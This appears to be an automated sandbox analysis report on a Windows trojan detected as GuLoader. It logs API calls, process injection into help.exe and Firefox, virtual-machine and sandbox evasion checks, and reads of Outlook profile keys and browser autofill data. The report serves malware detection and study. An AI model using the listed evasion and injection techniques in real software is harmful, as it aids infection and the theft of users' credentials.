Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862B00 NtQueryValueKey,	11_2_1D862B00
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862B20 NtQueryInformationProcess,	11_2_1D862B20
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862A80 NtClose,	11_2_1D862A80
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862AA0 NtQueryInformationFile,	11_2_1D862AA0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862AC0 NtEnumerateValueKey,	11_2_1D862AC0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D862A10 NtWriteFile,	11_2_1D862A10
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D864570 NtSuspendThread,	11_2_1D864570
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D864260 NtSetContextThread,	11_2_1D864260
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_0166A45D NtProtectVirtualMemory,	11_2_0166A45D
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039834E0 NtCreateMutant,LdrInitializeThunk,	19_2_039834E0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982B90 NtFreeVirtualMemory,LdrInitializeThunk,	19_2_03982B90
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982B80 NtCreateKey,LdrInitializeThunk,	19_2_03982B80
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982BC0 NtQueryInformationToken,LdrInitializeThunk,	19_2_03982BC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982B10 NtAllocateVirtualMemory,LdrInitializeThunk,	19_2_03982B10
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982B00 NtQueryValueKey,LdrInitializeThunk,	19_2_03982B00
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982A80 NtClose,LdrInitializeThunk,	19_2_03982A80
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982AC0 NtEnumerateValueKey,LdrInitializeThunk,	19_2_03982AC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982A10 NtWriteFile,LdrInitializeThunk,	19_2_03982A10
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039829F0 NtReadFile,LdrInitializeThunk,	19_2_039829F0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982F00 NtCreateFile,LdrInitializeThunk,	19_2_03982F00
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982E50 NtCreateSection,LdrInitializeThunk,	19_2_03982E50
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	19_2_03982DC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982D10 NtQuerySystemInformation,LdrInitializeThunk,	19_2_03982D10
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982CF0 NtDelayExecution,LdrInitializeThunk,	19_2_03982CF0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982C30 NtMapViewOfSection,LdrInitializeThunk,	19_2_03982C30
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03984260 NtSetContextThread,	19_2_03984260
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03984570 NtSuspendThread,	19_2_03984570
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982BE0 NtQueryVirtualMemory,	19_2_03982BE0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982B20 NtQueryInformationProcess,	19_2_03982B20
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982AA0 NtQueryInformationFile,	19_2_03982AA0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039829D0 NtWaitForSingleObject,	19_2_039829D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039838D0 NtGetContextThread,	19_2_039838D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982FB0 NtSetValueKey,	19_2_03982FB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982F30 NtOpenDirectoryObject,	19_2_03982F30
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982E80 NtCreateProcessEx,	19_2_03982E80
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982EB0 NtProtectVirtualMemory,	19_2_03982EB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982ED0 NtResumeThread,	19_2_03982ED0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982EC0 NtQuerySection,	19_2_03982EC0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982E00 NtQueueApcThread,	19_2_03982E00
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982DA0 NtReadVirtualMemory,	19_2_03982DA0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982D50 NtWriteVirtualMemory,	19_2_03982D50
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03983C90 NtOpenThread,	19_2_03983C90
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982CD0 NtEnumerateKey,	19_2_03982CD0
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982C10 NtOpenProcess,	19_2_03982C10
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03983C30 NtOpenProcessToken,	19_2_03983C30
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982C20 NtSetInformationFile,	19_2_03982C20
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_03982C50 NtUnmapViewOfSection,	19_2_03982C50
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C760 NtCreateFile,	19_2_02F4C760
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C890 NtClose,	19_2_02F4C890
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C860 NtDeleteFile,	19_2_02F4C860
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C810 NtReadFile,	19_2_02F4C810
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C940 NtAllocateVirtualMemory,	19_2_02F4C940
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C75A NtCreateFile,	19_2_02F4C75A
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4C85A NtDeleteFile,	19_2_02F4C85A

Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1323617090.0000000000094000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs Jjfmcz1Hsz.exe
Source: Jjfmcz1Hsz.exe, 0000000B.00000003.1186427363.000000001D778000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Jjfmcz1Hsz.exe
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1325789310.0000000001887000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs Jjfmcz1Hsz.exe
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1349200939.000000001DAC0000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Jjfmcz1Hsz.exe
Source: Jjfmcz1Hsz.exe, 0000000B.00000003.1180334989.000000001D5C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Jjfmcz1Hsz.exe
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1346687966.000000001D91D000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Jjfmcz1Hsz.exe
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1324818516.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs Jjfmcz1Hsz.exe

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: Jjfmcz1Hsz.exe

Static PE information: invalid certificate

Source: Jjfmcz1Hsz.exe	Virustotal: Detection: 46%
Source: Jjfmcz1Hsz.exe	ReversingLabs: Detection: 37%

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

File read: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Source: Jjfmcz1Hsz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Jjfmcz1Hsz.exe C:\Users\user\Desktop\Jjfmcz1Hsz.exe
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process created: C:\Users\user\Desktop\Jjfmcz1Hsz.exe C:\Users\user\Desktop\Jjfmcz1Hsz.exe
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process created: C:\Users\user\Desktop\Jjfmcz1Hsz.exe C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

2_2_004030D9

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

File created: C:\Users\user\AppData\Local\Temp\nse112A.tmp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/6@22/19

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_0040205E CoCreateInstance,MultiByteToWideChar,

2_2_0040205E

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_0040431C GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_0040431C

Source: 231-EqK-.19.dr

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

File written: C:\Users\user\AppData\Local\Temp\Distressingly\Bloods\Ultraevangelical\Micala\aarhundredeskiftet\Dichroitic30\Climaxed\Custom3.ini

Source: C:\Windows\SysWOW64\help.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Strikketjet

Source: Jjfmcz1Hsz.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Jjfmcz1Hsz.exe, 0000000B.00000001.981436197.0000000000649000.00000008.00000001.01000000.00000006.sdmp
Source:	Binary string: wntdll.pdbUGP source: Jjfmcz1Hsz.exe, 0000000B.00000003.1178049479.000000001D4A0000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1346687966.000000001D91D000.00000040.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1344068848.000000001D7F0000.00000040.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1184340741.000000001D64B000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5827777284.0000000003A3D000.00000040.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1322964721.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5819735175.0000000003910000.00000040.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1327471330.000000000375C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Jjfmcz1Hsz.exe, Jjfmcz1Hsz.exe, 0000000B.00000003.1178049479.000000001D4A0000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1346687966.000000001D91D000.00000040.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1344068848.000000001D7F0000.00000040.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000003.1184340741.000000001D64B000.00000004.00000800.00020000.00000000.sdmp, help.exe, help.exe, 00000013.00000002.5827777284.0000000003A3D000.00000040.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1322964721.00000000035AC000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000002.5819735175.0000000003910000.00000040.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1327471330.000000000375C000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Jjfmcz1Hsz.exe, 0000000B.00000001.981436197.0000000000649000.00000008.00000001.01000000.00000006.sdmp
Source:	Binary string: help.pdbGCTL source: Jjfmcz1Hsz.exe, 0000000B.00000002.1325746962.0000000001883000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1323580862.0000000000090000.00000040.10000000.00040000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1324818516.00000000017FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: help.pdb source: Jjfmcz1Hsz.exe, 0000000B.00000002.1325746962.0000000001883000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1323580862.0000000000090000.00000040.10000000.00040000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1324818516.00000000017FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: firefox.pdb source: help.exe, 00000013.00000003.1933284850.0000000007E7A000.00000004.00000800.00020000.00000000.sdmp, help.exe, 00000013.00000003.1994520363.0000000008428000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000002.00000002.1201978346.0000000003320000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.978219667.0000000001660000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1200754284.000000000072B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_10002D20 push eax; ret	2_2_10002D4E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332373E push esp; iretd	2_2_0332373F
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332673E push B949F1B9h; ret	2_2_03326743
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03323927 push esi; retf	2_2_033239AC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03323575 pushad ; ret	2_2_03323576
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03323969 push esi; retf	2_2_033239AC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_033251B9 push edx; retf	2_2_033251C9
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_033238F6 push esi; retf	2_2_033239AC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03324CC2 push FFFFFFBAh; retf	2_2_03324CC4
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8208CD push ecx; mov dword ptr [esp], ecx	11_2_1D8208D6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_0166A45D push edi; ret	11_2_0166A2A0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_0166A45D push edi; ret	11_2_0166A480
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_039408CD push ecx; mov dword ptr [esp], ecx	19_2_039408D6
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F483EF push ecx; retf	19_2_02F48400
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F483A9 pushad ; ret	19_2_02F483AB
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4859D push D358F441h; iretd	19_2_02F485A8
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4FA0C push eax; ret	19_2_02F4FA12
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4884B push eax; iretd	19_2_02F4884C
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4F9A2 push eax; ret	19_2_02F4F9A8
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4F9AB push eax; ret	19_2_02F4FA12
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F4F955 push eax; ret	19_2_02F4F9A8
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F36CAF push edi; retf	19_2_02F36CB1

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_10001A5D

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

File created: C:\Users\user\AppData\Local\Temp\nsl1543.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Source: C:\Windows\SysWOW64\help.exe TID: 7264	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe TID: 7264	Thread sleep time: -228000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8768	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8768	Thread sleep count: 72 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8768	Thread sleep time: -72000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8768	Thread sleep count: 83 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8768	Thread sleep time: -83000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\help.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_03322732 rdtsc

2_2_03322732

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	API coverage: 1.2 %
Source: C:\Windows\SysWOW64\help.exe	API coverage: 2.8 %

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_00405FFD FindFirstFileA,FindClose,	2_2_00405FFD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	2_2_0040559B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_00402688 FindFirstFileA,	2_2_00402688
Source: C:\Windows\SysWOW64\help.exe	Code function: 19_2_02F42C80 FindFirstFileW,FindNextFileW,FindClose,	19_2_02F42C80

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

System information queried: ModuleInformation

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	API call chain: ExitProcess graph end node			graph_2-11422
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	API call chain: ExitProcess graph end node			graph_2-11425

Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: Jjfmcz1Hsz.exe, 0000000B.00000003.1181941990.0000000001819000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1325068211.0000000001819000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: Jjfmcz1Hsz.exe, 0000000B.00000003.1181941990.0000000001819000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1325068211.0000000001819000.00000004.00000020.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1324658870.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1609034203.000000001003C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1598298707.000000000D59E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1468857728.000000000D59E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1482234943.000000001003C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1669286769.000000000D59E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1482349161.0000000010048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001D.00000000.1680456207.0000000010048000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: Jjfmcz1Hsz.exe, 00000002.00000002.1202756158.0000000010059000.00000004.00000800.00020000.00000000.sdmp, Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: Jjfmcz1Hsz.exe, 0000000B.00000002.1326566413.0000000003359000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: firefox.exe, 0000001E.00000002.2004622843.00000287E9080000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll77

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

2_2_10001A5D

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_03322732 rdtsc

2_2_03322732

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Process token adjusted: Debug

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_03341F52 mov eax, dword ptr fs:[00000030h]	2_2_03341F52
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332C96A mov eax, dword ptr fs:[00000030h]	2_2_0332C96A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0334415C mov eax, dword ptr fs:[00000030h]	2_2_0334415C
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 2_2_0332D047 mov eax, dword ptr fs:[00000030h]	2_2_0332D047
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CD8A mov eax, dword ptr fs:[00000030h]	11_2_1D81CD8A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81CD8A mov eax, dword ptr fs:[00000030h]	11_2_1D81CD8A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826D91 mov eax, dword ptr fs:[00000030h]	11_2_1D826D91
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D816DA6 mov eax, dword ptr fs:[00000030h]	11_2_1D816DA6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F4DA7 mov eax, dword ptr fs:[00000030h]	11_2_1D8F4DA7
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81DDB0 mov eax, dword ptr fs:[00000030h]	11_2_1D81DDB0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D827DB6 mov eax, dword ptr fs:[00000030h]	11_2_1D827DB6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852DBC mov eax, dword ptr fs:[00000030h]	11_2_1D852DBC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852DBC mov ecx, dword ptr fs:[00000030h]	11_2_1D852DBC
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D818DCD mov eax, dword ptr fs:[00000030h]	11_2_1D818DCD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DADD6 mov eax, dword ptr fs:[00000030h]	11_2_1D8DADD6
